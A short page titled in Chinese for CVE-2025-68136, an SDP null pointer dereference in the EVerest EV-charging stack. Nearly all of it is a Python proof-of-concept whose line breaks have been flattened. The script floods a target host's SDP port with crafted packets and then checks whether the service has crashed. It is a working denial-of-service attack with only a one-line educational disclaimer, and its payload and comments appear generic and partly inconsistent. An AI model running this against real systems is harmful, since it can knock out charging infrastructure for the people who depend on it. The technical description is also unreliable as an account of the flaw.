CVE-2025-68136: EVerest SDP请求处理空指针解引用漏洞

#!/usr/bin/env python3 """ CVE-2025-68136 PoC - EVerest SDP Request Memory Corruption This PoC demonstrates sending multiple rapid SDP requests to trigger the null pointer dereference in EVerest's SDP handler. Note: This is for educational/testing purposes only. """ import socket import struct import time from typing import List def create_sdp_request(msg_type: int, seq_num: int) -> bytes: """Create a malformed SDP request packet.""" # SDP header structure header = struct.pack('!BBH', 0x01, msg_type, seq_num) # SDP payload with specific values to trigger the vulnerability payload = b'\x00' * 16 # Padding to trigger object creation return header + payload def send_sdp_flood(target_ip: str, target_port: int, count: int = 100): """ Send rapid SDP requests to trigger memory management bug. Args: target_ip: Target EVerest server IP target_port: SDP service port (typically 8849 or 8847) count: Number of rapid requests to send """ print(f"[*] Starting SDP flood attack against {target_ip}:{target_port}") print(f"[*] Sending {count} rapid SDP requests...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.settimeout(5) sock.connect((target_ip, target_port)) for i in range(count): try: sdp_packet = create_sdp_request(msg_type=0x01, seq_num=i) sock.send(sdp_packet) time.sleep(0.001) # Rapid requests to trigger race condition if i % 10 == 0: print(f"[+] Sent {i} requests...") except Exception as e: print(f"[!] Error sending request {i}: {e}") break print("[*] Flood complete. Check for service availability.") except ConnectionRefusedError: print("[!] Connection refused - target may not be running EVerest SDP service") except Exception as e: print(f"[!] Connection error: {e}") finally: sock.close() def check_service_availability(target_ip: str, target_port: int) -> bool: """Check if EVerest SDP service is still responding.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) try: sock.connect((target_ip, target_port)) # Send a normal SDP request sock.send(create_sdp_request(msg_type=0x01, seq_num=0)) response = sock.recv(1024) return len(response) > 0 except: return False finally: sock.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2025-68136 PoC") parser.add_argument("--target", default="192.168.1.100", help="Target IP") parser.add_argument("--port", type=int, default=8849, help="Target port") parser.add_argument("--count", type=int, default=100, help="Number of requests") args = parser.parse_args() print("=" * 60) print("CVE-2025-68136: EVerest SDP Null Pointer Dereference PoC") print("=" * 60) # Check initial availability print("[*] Checking initial service availability...") if check_service_availability(args.target, args.port): print("[+] Service is initially available") else: print("[!] Service is not responding or not available") # Send attack send_sdp_flood(args.target, args.port, args.count) # Check if service is down time.sleep(2) print("[*] Checking service availability after attack...") if check_service_availability(args.target, args.port): print("[+] Service is still available (target may be patched)") else: print("[!] Service is DOWN - vulnerability confirmed!")